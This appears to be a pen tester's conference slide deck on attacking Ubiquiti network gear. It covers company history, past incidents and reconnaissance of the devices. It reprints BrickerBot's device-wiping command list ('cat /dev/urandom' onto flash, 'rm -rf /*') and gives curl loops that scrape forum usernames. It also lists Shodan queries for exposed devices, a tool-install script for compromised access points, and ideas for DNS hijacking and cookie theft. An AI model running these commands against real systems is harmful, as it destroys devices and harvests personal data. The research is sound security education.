Ubiquitous Shells

Jon Gorenflo
jon@funsec.net
@flakpaket
ABOUT ME

• Founder, Principal Consultant of Fundamental Security
  • Pen Testing, Security Architecture, Security Engineering

• SANS Instructor
  • SEC504: Hacker Tools, Techniques, Exploits, and Incident Handling
  • SEC560: Network Penetration Testing and Ethical Hacking
Why This Talk?

- I did a project where I had to review some Ubiquiti gear, and I was impressed by the enterprise features combined with ease of use.
  - *That's often a bad combo in our field*
- So, that got me curious…
UBIQUITI NETWORKS OVERVIEW

- Network equipment manufacturer
- Focuses
  - Small & Medium Businesses
  - ISPs
  - Outdoor/Long Range Wireless solutions
- CEO is a billionaire and owns the Memphis Grizzlies
- ...and just turned 40
How Ubiquiti Started

- Robert Pera was working at Apple testing WiFi devices
- Year 1: 2 out of 5 on review, and **no raise**
- Noticed the WiFi gear was underpowered, and proposed improvements
- He was shot down.
- For the next year, gave **minimum** effort, and worked nights and weekends on starting Ubiquiti
- Focused on selling to Wireless ISPs:
  - Ubiquity: $200/home to bring online
  - Competitors: $5,000-$10,000
WHY THIS TALK...

As I got to thinking, it seemed like I’d heard about Ubiquiti in the news …but for some other reason…
Ubiquitous Payments

- Victim of email based social engineering
- 14 wire transfers over 17 days to countries like Russia, China, Hungary and Poland
- “… Ubiquiti would be conducting an acquisition that needed to remain confidential and that preparations were required to make several wire transactions.”
- Emailed claimed to be from their law firm, but ended in “@consultant.com”.

How A Tech Billionaire's Company Misplaced $46.7 Million And Didn't Know It
Ubiquiti Networks devices targeted by firmware worm

The problem has been made worse due to vendors and users failing to update their firmware.

By Charlie Osborne for Zero Day | May 20, 2016 -- 08:49 GMT (01:49 PDT) | Topic: Security

UBIQUITOUS BRICKS

• “BrickerBot.1 originate from IP addresses all across the globe and they appear to be assigned to Ubiquiti network devices running an older version of the Dropbear SSH server”

• https://security.radware.com/ddos-threats-attacks/brickerbot-pdos-back-with-vengeance/

```bash
 1 busybox cat /dev/urandom >/dev/mtdblock0 &
 2 busybox cat /dev/urandom >/dev/sda &
 3 busybox cat /dev/urandom >/dev/mtdblock10 &
 4 busybox cat /dev/urandom >/dev/mmc0 &
 5 busybox cat /dev/urandom >/dev/sdb &
 6 busybox cat /dev/urandom >/dev/ram0 &
 7 busybox cat /dev/urandom >/dev/mtd0 &
 8 busybox cat /dev/urandom >/dev/mtd1 &
 9 busybox cat /dev/urandom >/dev/mtdblock1 &
10 busybox cat /dev/urandom >/dev/mtdblock2 &
11 busybox cat /dev/urandom >/dev/mtdblock3 &
12 fdisk -C 1 -H 1 -S 1 /dev/mtd0
 13 w
14 fdisk -C 1 -H 1 -S 1 /dev/mtd1
 15 w
16 fdisk -C 1 -H 1 -S 1 /dev/sda
 17 w
18 fdisk -C 1 -H 1 -S 1 /dev/mtdblock0
 19 w
20 route del default;iproute del default;ip route del default;rm -rf /* 2>/dev/null &
21 sysctl -w net.ipv4.tcp_timestamps=0;sysctl -w kernel.threads-max=1
22 halt -n -f
23 reboot
```
UBIQUITOUS BRICKS

- Ubiquiti gear was one of many targeted by BrickerBot
- Executed PDoS – Permanent Denial of Service
- HTTP Arbitrary File Upload, Dropbear Vulnerabilities

https://www.cyber.nj.gov/threat-profiles/botnet-variants/brickerbot
Security

Ubiquiti network gear can be 'hijacked by an evil URL' – thanks to its 20-year-old PHP build

And, nope, no patch

By Iain Thomson in San Francisco 16 Mar 2017 at 21:56

https://www.theregister.co.uk/2017/03/16/ubiquiti_networking_php_hole/
So what?

• Well, when you see a company have that many issues in a short period of time...there’s always more.
  • We’ll get back to that in a few...

• Anyway, back to that first project...
UBIQUITI FEATURES DEMO

• This is almost going to sound like a sales presentation, but that’s not the intent.

• The point here is to help those unfamiliar with Ubiquiti understand why the products have become so popular.
<table>
<thead>
<tr>
<th>NAME</th>
<th>IP ADDRESS</th>
<th>CONNECTION</th>
<th>AP/PORT</th>
<th>ACTIVITY</th>
<th>ACTIVITY DOWN</th>
<th>ACTIVITY UP</th>
<th>UPTIME</th>
<th>ACTIONS</th>
</tr>
</thead>
<tbody>
<tr>
<td>able-36be73df</td>
<td>10.205.196.104</td>
<td>corp</td>
<td>B-CH</td>
<td>—</td>
<td>15 MB</td>
<td>14.5 MB</td>
<td>5h 3m 52s</td>
<td>BLOCK</td>
</tr>
<tr>
<td>able-6bed135f</td>
<td>10.24.175.196</td>
<td>corp</td>
<td>B-AZ</td>
<td>—</td>
<td>1.98 MB</td>
<td>2.03 MB</td>
<td>2h 3m 43s</td>
<td>BLOCK</td>
</tr>
<tr>
<td>able-7309382d</td>
<td>10.145.175.75</td>
<td>corp</td>
<td>B-AJ</td>
<td>—</td>
<td>3.22 MB</td>
<td>3.38 MB</td>
<td>3h 20m 10s</td>
<td>BLOCK</td>
</tr>
<tr>
<td>able-8ec5b89c</td>
<td>10.48.80.52</td>
<td>admin</td>
<td>B-CV</td>
<td>—</td>
<td>14.1 MB</td>
<td>13.3 MB</td>
<td>5h 3m 43s</td>
<td>BLOCK</td>
</tr>
<tr>
<td>account-d8b15025</td>
<td>10.73.252.120</td>
<td>corp</td>
<td>B-BA</td>
<td>—</td>
<td>1.91 MB</td>
<td>2.02 MB</td>
<td>2h 5m 53s</td>
<td>BLOCK</td>
</tr>
<tr>
<td>achieve-6c4834d2</td>
<td>10.33.124.8</td>
<td>corp</td>
<td>B-CZ</td>
<td>—</td>
<td>5.35 MB</td>
<td>5.19 MB</td>
<td>5h 5m 54s</td>
<td>BLOCK</td>
</tr>
<tr>
<td>acoustics-a2478165</td>
<td>10.211.199.171</td>
<td>corp</td>
<td>B-AK</td>
<td>—</td>
<td>5.17 MB</td>
<td>5.05 MB</td>
<td>5h 5m 28s</td>
<td>BLOCK</td>
</tr>
<tr>
<td>act-6a0f4ef4</td>
<td>10.234.205.168</td>
<td>corp</td>
<td>B-EM</td>
<td>—</td>
<td>14 MB</td>
<td>15.7 MB</td>
<td>5h 3m 44s</td>
<td>BLOCK</td>
</tr>
<tr>
<td>action-bc554ec3</td>
<td>10.208.114.109</td>
<td>corp</td>
<td>B-AW</td>
<td>—</td>
<td>15.4 MB</td>
<td>15.7 MB</td>
<td>5h 4m 13s</td>
<td>BLOCK</td>
</tr>
<tr>
<td>activity-12ab47b3</td>
<td>10.221.170.223</td>
<td>corp</td>
<td>B-CE</td>
<td>—</td>
<td>373 KB</td>
<td>335 KB</td>
<td>31m 53s</td>
<td>BLOCK</td>
</tr>
<tr>
<td>activity-2316c409</td>
<td>10.216.215.163</td>
<td>admin</td>
<td>B-DI</td>
<td>—</td>
<td>14.8 MB</td>
<td>14.5 MB</td>
<td>5h 4m 11s</td>
<td>BLOCK</td>
</tr>
<tr>
<td>Device Name</td>
<td>IP Address</td>
<td>Status</td>
<td>Model</td>
<td>Version</td>
<td>Uptime</td>
<td>Actions</td>
<td></td>
<td></td>
</tr>
<tr>
<td>-------------</td>
<td>---------------</td>
<td>--------------</td>
<td>------------------------</td>
<td>-----------------</td>
<td>------------------</td>
<td>---------------</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Gateway</td>
<td>10.0.0.1</td>
<td>Connected</td>
<td>UniFi Security Gateway 4P</td>
<td>4.4.22.5086057</td>
<td>5h 10m 12s</td>
<td>LOCATE</td>
<td>RESTART</td>
<td>UPGRADE</td>
</tr>
<tr>
<td>SW-24A</td>
<td>10.165.115.155</td>
<td>Connected</td>
<td>UniFi Switch 24</td>
<td>3.9.38.9059</td>
<td>5h 10m 28s</td>
<td>LOCATE</td>
<td>RESTART</td>
<td>UPGRADE</td>
</tr>
<tr>
<td>SW-24B</td>
<td>10.12.96.161</td>
<td>Connected</td>
<td>UniFi Switch 24</td>
<td>3.9.38.9059</td>
<td>5h 10m 25s</td>
<td>LOCATE</td>
<td>RESTART</td>
<td>UPGRADE</td>
</tr>
<tr>
<td>SW-24C</td>
<td>10.115.97.156</td>
<td>Connected</td>
<td>UniFi Switch 24</td>
<td>3.9.38.9059</td>
<td>5h 10m 5s</td>
<td>LOCATE</td>
<td>RESTART</td>
<td>UPGRADE</td>
</tr>
<tr>
<td>SW-24D</td>
<td>10.96.127.42</td>
<td>Connected</td>
<td>UniFi Switch 24</td>
<td>3.9.38.9059</td>
<td>5h 10m 28s</td>
<td>LOCATE</td>
<td>RESTART</td>
<td>UPGRADE</td>
</tr>
<tr>
<td>SW-24E</td>
<td>10.185.15.58</td>
<td>Connected</td>
<td>UniFi Switch 24</td>
<td>3.9.38.9059</td>
<td>5h 9m 41s</td>
<td>LOCATE</td>
<td>RESTART</td>
<td>UPGRADE</td>
</tr>
<tr>
<td>SW-8A</td>
<td>10.26.16.136</td>
<td>Connected</td>
<td>UniFi Switch 8 POE-150W</td>
<td>3.9.37.9029</td>
<td>5h 10m 13s</td>
<td>LOCATE</td>
<td>RESTART</td>
<td>UPGRADE</td>
</tr>
<tr>
<td>SW-8B</td>
<td>10.194.46.158</td>
<td>Connected</td>
<td>UniFi Switch 8 POE-150W</td>
<td>3.9.37.9029</td>
<td>5h 10m 27s</td>
<td>LOCATE</td>
<td>RESTART</td>
<td>UPGRADE</td>
</tr>
<tr>
<td>B-AA</td>
<td>10.114.205.199</td>
<td>Connected</td>
<td>UniFi AP-AC-Mesh</td>
<td>3.9.40.9098</td>
<td>5h 9m 54s</td>
<td>LOCATE</td>
<td>RESTART</td>
<td>UPGRADE</td>
</tr>
<tr>
<td>B-AB</td>
<td>10.52.109.145</td>
<td>Connected</td>
<td>UniFi AP-AC-Mesh</td>
<td>3.9.40.9098</td>
<td>5h 10m 16s</td>
<td>LOCATE</td>
<td>RESTART</td>
<td>UPGRADE</td>
</tr>
<tr>
<td>B-AC</td>
<td>10.216.61.112</td>
<td>Connected</td>
<td>UniFi AP-AC-Mesh</td>
<td>3.9.40.9098</td>
<td>5h 10m 5s</td>
<td>LOCATE</td>
<td>RESTART</td>
<td>UPGRADE</td>
</tr>
<tr>
<td>B-AD</td>
<td>10.249.52.137</td>
<td>Connected</td>
<td>UniFi AP-AC-Mesh</td>
<td>3.9.40.9098</td>
<td>5h 10m 34s</td>
<td>LOCATE</td>
<td>RESTART</td>
<td>UPGRADE</td>
</tr>
<tr>
<td>B-AE</td>
<td>10.72.23.202</td>
<td>Connected</td>
<td>UniFi AP-AC-Mesh</td>
<td>3.9.40.9098</td>
<td>5h 9m 40s</td>
<td>LOCATE</td>
<td>RESTART</td>
<td>UPGRADE</td>
</tr>
</tbody>
</table>
Debug Terminal?
What's that do?
Device AP1: Connected

BusyBox v1.19.4 (2017-10-13 11:06:01 PDT) built-in shell (ash)
Enter 'help' for a list of built-in commands.

(c) 2010-2017
Ubiquiti Networks, Inc.
http://www.ubnt.com

Welcome to UniFi UAP-AC-Pro-Gen2!
BZ.v3.9.3# 
Start enjoying the benefits of enhanced features and community support.

First Name

Last Name

Username

Email Address

Password

Register to receive periodic newsletter and updates on products, software and services.

Register

By creating your account, you agree to the Ubiquiti Networks Terms of Service and Privacy Policy.
Registration fail...

Sorry, this username is unavailable

Sorry, the email address you have entered is already registered
Start enjoying the benefits of enhanced features and community support.

First Name

Last Name

Username

Sorry, this username is unavailable

Email Address

Sorry, the email address you have entered is already registered

Password
PROFILE SETTINGS...

unifi.ubnt.com profile

Community.ubnt.com profile

About flakpaket

PUBLIC STATISTICS

Name
Jon Gorenflo
Has It Been Pwned?

https://haveibeenpwned.com

s[redacted]1@gmail.com

pwned?

Oh no — pwned!

Pwned on 7 breached sites and found 1 paste (subscribe to search sensitive breaches)
**Enumerating Users**

```
root@kali:~# for i in {813100..813200}; do curl -s https://community.ubnt.com/t5/user/viewprofilepage/user-id/$i|grep -A1 "type": "User"|tail -n1|cut -d"" -f 4 | tee -a ubiquitous-users.txt; done
```

```
root@kali:~# curl -s https://community.ubnt.com/t5/UnFi-Wireless/bd-p/UnFi | grep -i login-ld | cut -d'>' -f3|cut -d"" -f1 |sort -u > forum-users.txt
root@kali:~# wc -l forum-users.txt
80 forum-users.txt
```
**Security Settings**

- Default Session Timeout:
  - 30 Days
- WAT.
Two-Factor Authentication

Enable Google Authenticator

- Download and install Google Authenticator on your phone.
- Open the Google Authenticator app.
- Tap menu, then tap “Set up account”, then tap “Scan a barcode”.
- Your phone will now be in “scanning” mode. When you are in this mode, scan the barcode below:

Secret Code: [red square]

Once you have scanned the barcode, enter the 6-digit code below:

Insert 2FA token

6 Digit Token

Fundamental Security
Finding Ubiquiti Gear

159.203.109.238 43365
Ubiquiti Networks Device

IP: 159.203.109.238

MAC: d2:1b:c9:16:f8:33
Alternate IP: 10.17.0.5
Alternate MAC: d2:1b:c9:16:f8:33
Hostname: FL-1
Product: UniFi Video
Version: NVR.x86_64.3.9.6.f469df.180417.012

37.230.96.64 1900 vps17392.public.cloudvps.com HTTP/1.1 200 OK

Cache-Control: max-age = 60
Location: http://37.230.96.71

# the IP devices should be talking to for inform:8082/upnp/\nSERVER: UPnP/1.0 UniFi/5.6.3
ST: upnp:rootdevice\r\nUSN: uuid:3c86d905-3e94-4f96-c184-e7f979b6b5bb::upnp:rootdevice\r\n
203.150.54.204 49601 203-150-54-204.inter.net.th Ubiquiti Networks Device

IP: 203.150.54.204
MAC: 00:50:56:ac:07:d9
Alternate IP: 192.168.253.22
Alternate MAC: 00:50:56:ac:68:47
Hostname: GLT-CLOUD
Product: UniFi Video
Version: NVR.x86_64.3.9.6.f469df.180417.012

95.66.148.226 1900 HTTP/1.1 200 OK

Location: http://95.66.148.235:8000/upnp/\nSERVER: UPnP/1.0 UniFi/4.8.2
ST: upnp:rootdevice\r\nUSN: uuid:3c86d905-3e94-4f96-c184-e7f979b6b5bb::upnp:rootdevice\r\n
216.69.2.5 80 zone2-5.kctcs.edu HTTP/1.1 302 OK

Content-Type: text/html
Location: http://legacy.jefferson.kctcs.edu/wirelessauth/unifi/Login.php
Server: Microsoft-IIS/6.0
X-Powered-By: PHP/5.1.4
X-Powered-By: ASP.NET
Date: Fri, 15 Jun 2018 04:21:58 GMT
...AND THE DATABASE...
So, How much is out there?

```
root@kali:~# shodan count ubiquiti
957081
root@kali:~# shodan count ubnt
39235
root@kali:~# shodan count unifi
5605
```
root@kali:~# shodan count ubiquiti hacked-router
35869

Ubiquiti Networks Device
IP: [REDACTED]
MAC: [REDACTED]
Alternate IP: [REDACTED]
Alternate MAC: [REDACTED]
Hostname: HACKED-ROUTER-HELP-SOS-VULN-EDB-39701
Product: AG5
Version: XM.ar7240.v5.3.3.ajcorrea.9634.120111.2127

AirOS 6.x - Arbitrary File Upload

- EDB-ID: 39701
- Author: 93c08539
- Published: 2016-04-15
- CVE: N/A
- Type: Webapps
- Platform: CGI
- Aliases: N/A
- Advisory/Source: Link
- Tags: N/A
- Exploit: Download / View Raw
- Vulnerable App: N/A
I just did, my (W)ISP has set their CPE's (Ubnt) to the customers names (and sometimes addresses), I plugged their CPE into my Unifi Switch and it mapped all 750+ customers, I reported it to them and they threatened to cut me off...

Paul

I have just seen your last email I will be terminating your connection within the next 30 mins as you have breached the terms of our contract with you and we believe that you are attempting to integrate connections and may also be redirecting traffic or snooping on traffic.
So on my roof is a standard CPE. I wanted to stop using the 24v passive injector cause sockets are a premium in my house.

So I made a vlan just for their CPE, connected it through, once connected the US-8-60W then mapped 820 devices at peak on that network.

Of which they appear to have set the names to customers names and addresses, or that is what is showing in the UniFi controller for my gear.

But it's basically the "Name" field under clients.

Has names and first lines of addresses, that combined with the coverage map on their site is enough to get a full name and address of a customer.
 Ubiquitous Ignorance

I love Ubiquiti gear, but there are a lot of horror stories like this.

Too easy to use, so we have people without even the basic understanding of security setting up WISP's apparently :( 

Exactly.
Ubiquiti Networks (NASDAQ: UBNT) released fiscal fourth quarter 2018 results early Friday, detailing accelerated growth from its core Enterprise technology segment, as well as the company's efforts to continue improving operations.

With shares up modestly in response as of this writing, let's take a closer look at how the wireless networking company ended the year, and what investors can expect.
Connecting to MongoDB

- The version included in the Windows page is 2.4.14. (Circa 2015)
- The new mongo client won't even connect to it...
- Old versions available for download:
  - https://www.mongodb.org/dl/win32/i386
  - https://www.mongodb.org/dl/linux/
# tcpdump -nn udp port 10001 -A

root@kali:~# tcpdump -nn udp port 10001 -A
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth0, link-type EN10MB (Ethernet), capture size 262144 bytes
13:35:59.923374 IP 192.168.0.1 255.54552 > 255.255.255.255.10001: UDP, length 147
E...@.8...:'....7...
...v2...
...v2...
...&...AP1...U7PG2...#BZ.qca956x.v3.9.27.8537.180317
1235...3.9.27.8537...U7PG2.........................v2.
...3.4.1
13:35:59.934864 IP6 fe80::f29fc2ff:fe76:32b0.37287 > ff02::1.10001: UDP, length 147
'...............................v2......'
...v2......v2...
...&...AP1...U7PG2...#BZ.qca956x.v3.9.27.8537.180317.1235...3.9.27.8537...U7PG2.........................v2.
...3.4.1
13:36:02.581423 IP 192.168.0.1.36126 > 255.255.255.255.10001: UDP, length 188
E....@.8.............................
...I.A2.R
...I.B...
...I.C....d
...I.A...
...I.A...@
...I.A...@
...I.A...@

1. Device Name
2. Model Number
3. Hardware
4. Firmware Version
SO, WHAT CAN WE DO?

Pro!

• Netcat
• Tcpdump
• Curl
• Ash
• SSH Client
• Dnsmasq

Con...

• Busybox....
  • Netcat
  • Ash
  • SSH Client
  • Everything else that is cool on Linux
We can add tools to the AP, but ...

- Home directory is `/var/etc/persistent`
- What we need is an easy way to get the tools on the AP...
```bash
#!/bin/sh

# Installs some additional useful mips binaries on Ubiquiti APs.
# Tested on AP AC Pro, Firmware 8.3.9.3

if [ ! -d tools ]; then
  mkdir tools
fi

cd tools


chmod +x *

for tool in $(ls); do
  if [ ! -f /bin/$tool ]; then
    mv $tool /bin/$tool
    echo "[+] /bin/$tool installed."
  elif [ -f /bin/$tool ]; then
    mv /bin/$tool /bin/$tool.old
    echo "[+] Renamed $tool to $tool.old"
    mv $tool /bin/$tool
    echo "[+] /bin/$tool installed."
  fi
done
```

Other Ideas & What’s Next...

- Use dnsmasq to issue DHCP IP addresses and itself as DNS server, and hijack specific domains
- Use tcpdump to steal SSO cookies from internal hosts visiting non-sensitive HTTP sites that are on the same domain
- Compile more tools for OpenWRT and MIPS
  - Bettercap
  - Nmap
  - SSH
  - Etc.
- Setup persistence through reboots
Weaponize the CloudKey?

Powerful Quad-Core Architecture

The UniFi Cloud Key provides top processing power for centralized device management.

802.3AF Power

Quad-Core Processor Architecture

SD Card Slot & USB-C Power (Optional)

Compact Size 120x44x20mm
Cloud Key Gen 2

- 8 Core Arm Processor
- 1 TB 2.5" HDD (Upgradable to 5 TB)
- PoE
- Built-in Battery for Automatic, Safe Shutdown
- Bluetooth for Mobile App Config?!?!?